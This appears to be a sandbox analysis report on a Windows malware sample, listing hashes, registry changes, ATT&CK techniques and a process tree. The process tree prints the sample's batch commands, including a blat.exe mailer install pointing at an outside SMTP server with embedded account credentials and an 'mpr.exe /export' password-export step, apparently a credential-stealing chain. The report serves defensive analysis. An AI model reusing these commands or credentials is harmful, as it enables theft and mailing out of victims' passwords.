d92cea79ef6057193ed6349af43aa25ff43b2e7340d1e3ed2aad3d8f384642b4

General

Target

d92cea79ef6057193ed6349af43aa25ff43b2e7340d1e3ed2aad3d8f384642b4.exe
Size

3.7MB
MD5

6de3da12ea83180aed2fa3dabc37cbe0
SHA1

c547617a266984c58743716a08f8662f3d8bb281
SHA256

d92cea79ef6057193ed6349af43aa25ff43b2e7340d1e3ed2aad3d8f384642b4
SHA512

4141a1544626bd94cd7fb153ae77420227bf14dbc369bce549dff7f021a21ccb4c2cf626fde6f5d10f87bd09e710784d6d7bcdf1df6733c31fff11a8b75f11c6
SSDEEP

49152:cYn2JVKh1VrdmC/1xpLzgYSHx4yzj8zow4ylvrFgn/y5q2DiAtGJqT5+GPd:c2FdzgYSHx4yzj8zowFdyotWAH

Score

7^/10

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

d92cea79ef6057193ed6349af43aa25ff43b2e7340d1e3ed2aad3d8f384642b4.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000\Control Panel\International\Geo\Nation	d92cea79ef6057193ed6349af43aa25ff43b2e7340d1e3ed2aad3d8f384642b4.exe

Executes dropped EXE 2 IoCs

Processes:

blat.exeMPR.exe

pid process

4696 blat.exe
1760 MPR.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

pid	process
4696	blat.exe
1760	MPR.exe

Modifies registry class 21 IoCs

Processes:

MPR.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mpf	MPR.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mprf\shell	MPR.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mprf\shell\open\command	MPR.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mprf\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\MPR.exe \"%1\""	MPR.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3F2BBC05-40DF-11D2-9455-00104BC936FF}\LocalServer32\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\MPR.exe"	MPR.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\mprf\BrowserFlags = "8"	MPR.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\MPR.DocHostUIHandler	MPR.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\MPR.DocHostUIHandler\Clsid\ = "{3F2BBC05-40DF-11D2-9455-00104BC936FF}"	MPR.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3F2BBC05-40DF-11D2-9455-00104BC936FF}\ProgID\ = "MPR.DocHostUIHandler"	MPR.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mprf\DefaultIcon	MPR.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mprf\shell\open	MPR.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\MPR.DocHostUIHandler\ = "Implements DocHostUIHandler"	MPR.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\MPR.DocHostUIHandler\Clsid	MPR.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3F2BBC05-40DF-11D2-9455-00104BC936FF}\ProgID	MPR.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mpf\ = "mprf"	MPR.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mprf	MPR.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\mprf\EditFlags = "0"	MPR.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mprf\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\MPR.exe,0"	MPR.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3F2BBC05-40DF-11D2-9455-00104BC936FF}	MPR.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3F2BBC05-40DF-11D2-9455-00104BC936FF}\ = "Implements DocHostUIHandler"	MPR.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3F2BBC05-40DF-11D2-9455-00104BC936FF}\LocalServer32	MPR.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

1180 PING.EXE
Suspicious behavior: LoadsDriver 1 IoCs

Processes:

pid process

656
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

MPR.exe

description pid process

Token: SeDebugPrivilege 1760 MPR.exe
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

MPR.exe

pid process

1760 MPR.exe
1760 MPR.exe

pid	process
1180	PING.EXE

pid	process
656

description	pid	process
Token: SeDebugPrivilege	1760	MPR.exe

pid	process
1760	MPR.exe
1760	MPR.exe

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

d92cea79ef6057193ed6349af43aa25ff43b2e7340d1e3ed2aad3d8f384642b4.execmd.exe

description	pid	process	target process
PID 5012 wrote to memory of 5076	5012	d92cea79ef6057193ed6349af43aa25ff43b2e7340d1e3ed2aad3d8f384642b4.exe	cmd.exe
PID 5012 wrote to memory of 5076	5012	d92cea79ef6057193ed6349af43aa25ff43b2e7340d1e3ed2aad3d8f384642b4.exe	cmd.exe
PID 5012 wrote to memory of 5076	5012	d92cea79ef6057193ed6349af43aa25ff43b2e7340d1e3ed2aad3d8f384642b4.exe	cmd.exe
PID 5076 wrote to memory of 1180	5076	cmd.exe	PING.EXE
PID 5076 wrote to memory of 1180	5076	cmd.exe	PING.EXE
PID 5076 wrote to memory of 1180	5076	cmd.exe	PING.EXE
PID 5076 wrote to memory of 4696	5076	cmd.exe	blat.exe
PID 5076 wrote to memory of 4696	5076	cmd.exe	blat.exe
PID 5076 wrote to memory of 4696	5076	cmd.exe	blat.exe
PID 5076 wrote to memory of 1760	5076	cmd.exe	MPR.exe
PID 5076 wrote to memory of 1760	5076	cmd.exe	MPR.exe
PID 5076 wrote to memory of 1760	5076	cmd.exe	MPR.exe

C:\Users\Admin\AppData\Local\Temp\d92cea79ef6057193ed6349af43aa25ff43b2e7340d1e3ed2aad3d8f384642b4.exe
"C:\Users\Admin\AppData\Local\Temp\d92cea79ef6057193ed6349af43aa25ff43b2e7340d1e3ed2aad3d8f384642b4.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5012

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\4E7E.tmp\1.bat" "
2⤵
- Suspicious use of WriteProcessMemory
PID:5076

C:\Windows\SysWOW64\PING.EXE
ping ya.ru -n 5
3⤵
- Runs ping.exe
PID:1180

C:\Users\Admin\AppData\Local\Temp\blat.exe
blat.exe -install -server smtp.yandex.ru -port 587 -f [email protected] -u ya.eliteden -pw Elite92
3⤵
- Executes dropped EXE
PID:4696

C:\Users\Admin\AppData\Local\Temp\MPR.exe
mpr.exe /export
3⤵
- Executes dropped EXE
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:1760

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Remote System Discovery

1

T1018

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\4E7E.tmp\1.bat
Filesize
350B

MD5
b6699b0bcec646342b9475a16d0c0074

SHA1
88de4575051a8fb439160f312d40e7c4674723d0

SHA256
25caa4f7a0fe443f60d0dc018c696ba372237bd06045ad8522ee79ce1a38f8ec

SHA512
876fee140184ca6d6c7c4b14a6be76b898ccbe2bd9568dddd7fa1f0dd4da029efd20c709a613a44e4c716f9cd5b70b2ccdd45ee5d18af0e9383cc0a01a3aca72

Download Submit
C:\Users\Admin\AppData\Local\Temp\MPR.exe
Filesize
3.3MB

MD5
8dba37604bf06ebcef07dd1085865a6a

SHA1
1202eb0ea461c502daa7da9d7d75fff226bf57bd

SHA256
038ab25642a1220c27028d0b559062b43764c66541ec07a96b2a99d25d9638b0

SHA512
0f286677e964d733ea3270f0f196769d8ddddb4a6bb3007187eae56e9abb5e22ee984703df5356b5d9049e5ad3b24c567ae13773684113a4440b2cce5d0132fa

Download Submit
C:\Users\Admin\AppData\Local\Temp\blat.exe
Filesize
112KB

MD5
31f84e433e8d1865e322998a41e6d90e

SHA1
cbea6cda10db869636f57b1cffad39b22e6f7f17

SHA256
aeca4a77d617da84296b5f857b2821333fe4b9663e8df74ef5a25a7882693e5e

SHA512
7ae504723b5b140e45af3163d1bfdc5ee0497debafba07cfbf1d2c15147c000be53f4ac8d36d926ed11cf0bb62e9e72f9bcf5d4caf92aa732d942f55834e2be9

Download Submit
C:\Users\Admin\AppData\Local\Temp\mpr.ini
Filesize
341B

MD5
41e2bfc402a656090f4b558951604e5c

SHA1
d75376b211652d3d82edcd16dd12fdadcc6ec5f6

SHA256
86eef7f8560accf5640db6b06fc0ba2cbe71c0f149cfefdd5f08448f08fd3d64

SHA512
bd9b93d5ab8ad7bc7f434cfb1726664d599185b018098b56711017b62f3b0e26630ffa2cf7c9082e0c2b5657cc4d086ffda8ecb7f0dd49e97648777e62d40b14

Download Submit
memory/1760-24-0x0000000000A50000-0x0000000000A51000-memory.dmp

Filesize
4KB

Download
memory/1760-26-0x0000000000500000-0x000000000084A000-memory.dmp

Filesize
3.3MB

Download
memory/1760-28-0x0000000000A50000-0x0000000000A51000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

Loading Replay Monitor...

Downloads